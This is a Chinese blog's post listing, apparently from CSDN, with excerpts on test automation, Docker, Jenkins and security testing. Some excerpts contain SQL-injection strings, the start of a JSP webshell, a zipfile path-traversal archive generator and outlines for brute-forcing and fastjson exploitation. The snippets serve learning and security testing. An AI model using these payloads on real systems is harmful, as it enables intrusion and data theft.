- 博客(32)
- 资源 (2)
- 收藏
- 关注
原创 常见的性能测试类型
(面对大数据量的业务场景)需要单独做一系列场景性能操作,业务数据100w/200w/500w下,具体业务性能表现。(主要应用场景,可以设计场景如cpu/内存使用率80%/90%/95%的情况下,系统业务功能表现 )(组合索引、单索引)索引并非越多越好,需要考虑索引的合理性,数据库分配的内存、磁盘空间。(主要业务场景需要支持多少用户同时操作)指标响应时间,事务通过率是否达标,单一接口大请求下性能表现,可以初步判断单业务下性能表现。添加中间件,采用负载均衡,缓存,kafka、队列。3.稳定性测试(负载测试)
2024-08-16 17:21:34
272
原创 接口自动化pytest+request+allure+logging+yaml+ddddocr验证码识别
后续可以自行安排将代码上传gitlab,联动jenkins;jenkins环境需要先部署好所有需要的环境和库。(demo中暂时未使用,实际测试效果差强人意)此处加了一些自己图片处理逻辑,extract.yaml文件是存在接口关联的数据,提取的数据。可以按照实际情况来修改逻辑;编写用户增删改查(curd)测试用例数据。此处需要注意yaml文件的编写方式。需要按照实际场景进行微小修改。编辑pytest.ini文件。编写登录yaml测试数据;编辑环境控制yaml文件。存在提取userid。
2023-06-14 15:54:58
428
原创 docker创建私有仓库registry,并实现pull和push操作
私有仓库为个人构建的镜像存储建议/etc/docker/daemon.json下配置阿里云的镜像加速1.拉取regietry 镜像docker pull regietry2.运行regietry 镜像docker run -it -d -p 5000:5000 --resatrt=always -v /usr/registry:/tmp/registry --privileged=true registry--privileged=true作用是防止用户无权限无法创建容器使用cu
2022-05-20 13:59:54
1063
原创 gitlab(linux)+jmeter脚本+jenkins(windows环境) 构建步骤
1.2.3.System.setProperty("hudson.model.DirectoryBrowserSupport.CSP", "")4.防止中文显示编码异常5.6.7. 邮箱配置和构建步骤8.邮件的格式<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <t......
2022-05-18 13:13:31
629
原创 pytest-html无法生成报告的原因以及解决
1.现象:控制台(console)输出错误如下图,错误提示为未提交任何参数2.解决方法,删除掉启动入口,自己重新新建一个启动入口删除掉下图中红框的启动任务;自己新建一个启动入口...
2022-01-07 11:06:58
2856
原创 python之logger
import loggingimport os.pathimport timedef test_log(): """指定保存日志的文件路径,日志级别,以及调用文件 将日志存入到指定的文件中 :paramlogger: """ # 创建一个logger logger = logging.getLogger() logger.setLevel(logging.INFO) # 创.
2022-01-05 11:03:12
2150
原创 python之logger使用案例
创建logger对象以及,且写入文件以及输出控制台import loggingimport os.pathimport timeclass Logger(object): def __init__(self,logger): """指定保存日志的文件路径,日志级别,以及调用文件 将日志存入到指定的文件中 :paramlogger: """ # 创建一个logger self.logger =.
2022-01-04 17:36:33
2282
1
原创 web自动化pom简单案例
1.基准:base.py包含一些基本的方法定位元素、执行操作等class basepagecl: def __init__(self,driver): self.driver=driver # 进入页面 def open(self,url): self.driver.get(url) # 退出页面 def quit(self): self.driver.quit() # 定位元素 def lo...
2022-01-04 13:54:55
807
原创 python实现滑块移动操作
自动登录滑动操作from selenium import webdriverfrom selenium.webdriver import ActionChainsimport timebrowser = webdriver.Firefox()browser.get('https://8888888888/login.jsp')browser.find_element_by_xpath("/html/body/div[1]/div/div[1]/div[2]/div...
2021-12-30 14:29:29
2748
2
原创 crond简单定时任务书写规范与dev/null
33 16 29 12 * root echo "789456">>/test.txt可不用重启crond服务;;此任务的意思是 12月29日16时33分 root用户执行 “echo "789456">>/test.txt”命令,将789456追加到根目录下的test.txt中*/5 * * * * 表示每5分钟执行一次* */1 * * * 表示每一小时执行一次33 16 * * 6 表示每个星期六16时33分执行一次,星期...
2021-12-29 17:03:05
407
原创 文件上传漏洞简述
前提:一句话木马,可用php、jsp、asp等;学会选择小马(什么语言环境写的马就用什么语言的马),工具菜刀、蚁剑(功能全)等附一个jsp马<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.l
2021-12-22 17:36:35
1927
原创 常见sql注入语句和xss注入语句
1 and 1=1 或者1' and '1'='1 判断注入的类型1 order by 1,2,3,4 数字类型为例;判断当前表存在多少个属性字段1' union select 1,table_name from information_schema.tables where table_schema=database()# 通过占位获取的数据库名 去MySQL的元数据表information_schema中查表名1' union select 1,c...
2021-12-22 16:21:59
3192
原创 fastjson反序列化复现步骤
环境搭建靶机 linux 攻击机 windows 恶意代码存放和rmi/ldap的服务机 linux 1.靶机环境搭建需要搭建docker、docker-compose建议老版本(注意检验docker-compose的版本是否与本机的架构一致)、下载docker-compose到目录/usr/local/bin/后 执行权限分配 sudo chmod 777 docker-compose然后运行 ln -s /usr/local/bin/docker-...
2021-12-16 15:41:55
4883
原创 python简单爬虫代理ip并写入xls案例
仅爬虫 某ip代理首页(如果需要爬虫第1,2...页,外加一个url循环)import requestsimport xlwtfrom bs4 import BeautifulSoupheader={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3','Accept-Encoding.
2021-12-13 13:21:58
2292
原创 python3之threading.thread的用法
import threadingimport timedef function_a(): for i in range(10): print('thread-{}'.format(i)) time.sleep(1)def main(): t=threading.Thread(target=function_a) t.setDaemon(True)#保护主线程,主线程关闭子线程也关闭 t.start() time.sleep.
2021-12-03 16:23:20
1196
原创 制造简易ip并改造日志
# -*- coding: utf-8 -*-# @Time : 2021/11/30 11:39# @Author : 码小白--# @Email : 1137072880@qq.com# @File : makeip.py# @Software: PyCharmimport redef makeip(): lisr=['0','0','0','0'] for j in range(4): for i in range(1,101): .
2021-12-01 17:14:29
1728
原创 udp--通过输入和文件读取的方式发包
# -*- coding: utf-8 -*-# @Time : 2021/11/23 15:50# @Author : 码小白--# @Email : 1137072880@qq.com# @File : FFFF.py# @Software: PyCharmimport socketfrom tkinter import *from tkinter import filedialogfrom tkinter.filedialog import *class A..
2021-11-23 17:13:41
1087
原创 Python最lou的端口扫描
import socketfrom threading import Threaddef Scan_tool(): host = input('输入主机:') ports = int(input('输入端口最大右区间:')) for i in range(0,ports): sk=socket.socket() sk.settimeout(2) con_.
2021-11-12 10:56:42
78
原创 Python实现简单密码爆破
实现包的转化,便于密码爆破应用headers='''Host: 192.168.1.2Content-Length: 53Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://192.168.1.2Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW.
2021-11-12 10:30:23
1840
原创 Python的argparse获取命令参数
import socketimport argparse# python 文件名.py --domain qq.com # 运行# ip查询函数def Ipquery(domain): for i in domain: ip = socket.gethostbyname(i) print(i,'--',ip)# 创建ArgumentParser()对象if __name__ == '__main__': parser = argpars...
2021-11-12 10:23:35
610
原创 Python利用zipfile生成linux压缩目录穿越文件
import zipfileif __name__ == "__main__": try: binary = '111' zipFile = zipfile.ZipFile("test2.zip", "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("test2.zip") zipFile.writestr("../../../../../../dwst.txt", binary).
2021-11-12 10:13:12
3317
原创 Python利用qq授权码实现发送附件
import tkinterfrom tkinter import filedialogfrom tkinter.filedialog import *from email.mime.text import MIMETextfrom email.header import Headerfrom smtplib import SMTP_SSLfrom email.mime.multipart import MIMEMultipartdef action(): date = int(.
2021-11-12 09:55:11
251
原创 udp发包结合tkinter
import socketimport tkinterfrom tkinter import filedialogfrom tkinter.filedialog import *def action(): #获取输入框内容 date=entry.get().strip() date1=int(entry1.get()) date2=int(entry3.get()) b=str(entry2.get().strip()) s=socket.soc.
2021-11-11 18:47:08
2455
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人